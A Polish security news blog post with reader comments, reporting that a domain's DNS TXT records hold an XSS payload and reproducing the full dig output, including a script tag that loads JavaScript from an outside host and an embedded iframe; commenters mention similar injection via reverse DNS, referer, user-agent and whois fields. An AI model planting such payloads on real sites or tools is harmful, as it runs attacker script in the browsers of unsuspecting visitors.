18.09.2014 | 20:57

Adam Haertle

XSS w DNS bo czemu by nie

Jeśli myślicie, że widzieliście już błędy XSS we wszystkich możliwych miejscach, to spójrzcie na wpisy DNS (a szczególnie na pola TXT) domeny jamiehankins.co.uk. Dla leniwych wersja podana na talerzu poniżej:

; <<>> DiG 9.8.3-P1 <<>> txt jamiehankins.co.uk
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 60523
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 2, ADDITIONAL: 3

;; QUESTION SECTION:
;jamiehankins.co.uk.		IN	TXT

;; ANSWER SECTION:
jamiehankins.co.uk.	281	IN	TXT	"<script src='//peniscorp.com/topkek.js'></script>"
jamiehankins.co.uk.	281	IN	TXT	"<iframe width='420' height='315' src='//www.youtube.com/embed/dQw4w9WgXcQ?autoplay=0' frameborder='0' allowfullscreen></iframe>"
jamiehankins.co.uk.	281	IN	TXT	"google-site-verification=nZUP4BagJAjQZO6AImXyzJZBXBf9s1FbDZr8pzNLTCI"
jamiehankins.co.uk.	281	IN	TXT	"v=spf1 include:spf.mandrillapp.com ?all"

;; AUTHORITY SECTION:
jamiehankins.co.uk.	172769	IN	NS	hank.ns.cloudflare.com.
jamiehankins.co.uk.	172769	IN	NS	lucy.ns.cloudflare.com.

;; ADDITIONAL SECTION:
hank.ns.cloudflare.com.	48812	IN	A	173.245.59.116
hank.ns.cloudflare.com.	48812	IN	AAAA	2400:cb00:2049:1::adf5:3b74
lucy.ns.cloudflare.com.	75780	IN	A	173.245.58.133

;; Query time: 26 msec
;; SERVER: 192.168.1.1#53(192.168.1.1)
;; WHEN: Thu Sep 18 13:31:34 2014
;; MSG SIZE  rcvd: 486

A teraz pytanie jaki to da efekt na różnych stronach, wyświetlających dane DNS? Spróbować możecie na przykład tutaj albo tutaj. Sprytne.

PS. Niezłe sztuczki z DNSami pokazywał też swojego czasu Jakub Żoczek.

Powrót

Komentarze

  • 2014.09.18 22:04 Michał

    Niebezpiecznik na szkoleniach z bezpieczenstwa webapplikacji pokazuje ten trick w jednym z labow, a przynajmniej pokazywal ze 3 lata temu. I revdns i w refererze i w useragencie. Dziala dobrze na autorskie systemy statystyk.

    Odpowiedz
  • 2014.09.18 22:32 Art

    czekam na XSS w ICMP Echo Reply :-)

    Odpowiedz
    • 2014.09.19 01:18 ZoczuS

      To całkiem niegłupi pomysł :)

      Ja bym potrzebował jeszcze payload XSS’owy we wpisie whois, jak ktoś jest w stanie to skutecznie ogarnąć to prośba o kontakt!

      Odpowiedz
  • 2014.09.18 22:44 A6RV2

    Tak to jest jak nie sprawdzają poprawności zmiennych.
    Odbiegając od tematu to ciekawa sytuacja jest w DogeCoin.
    Do wersji 1.7.1

    getmininginfo
    22:30:38
    {
    „blocks” : 380949,
    „currentblocksize” : 1225,
    „currentblocktx” : 1,
    „difficulty” : 8.60806750,
    „errors” : „Dogecoin Core 1.8 released. Update mandatory! See http://redd.it/2egjqg„,
    „genproclimit” : -1,
    „networkhashps” : 1887831533,
    „pooledtx” : 1,
    „testnet” : false,
    „generate” : true,
    „hashespersec” : xxxxx
    }

    Stare wersje nie pobierają danych od nowych.
    Lecą swoim łańcuchem.
    Autor każdej kryptowaluty może np. sprzedać swoje monetki, wypuścić nową wersję z hiperinflacją i pomachać na pożegnanie.

    Odpowiedz
  • 2014.09.19 03:04 mrkk

    Od dawna mam działający w większości narzędzi zwykły <a href="" w DNS-ach, teraz dodałem do tego window.location, działa nawet na "lepszych" narzędziach, tj. mxtoolbox.com.

    Odpowiedz
  • 2014.09.19 11:39 atom

    połatali już :(

    Odpowiedz
  • 2014.09.19 11:59 Maciek

    U mnie nie działa, albo załatali albo ustawienia „blokuj wszystko co niepotrzebne i jeszcze ciut ciut” w przeglądarce działa.

    Odpowiedz
  • 2014.09.28 16:58 14r33k

    Nie działa

    Odpowiedz

Zostaw odpowiedź do 14r33k

Jeśli chcesz zwrócić uwagę na literówkę lub inny błąd techniczny, zapraszamy do formularza kontaktowego. Reagujemy równie szybko.

XSS w DNS bo czemu by nie

Komentarze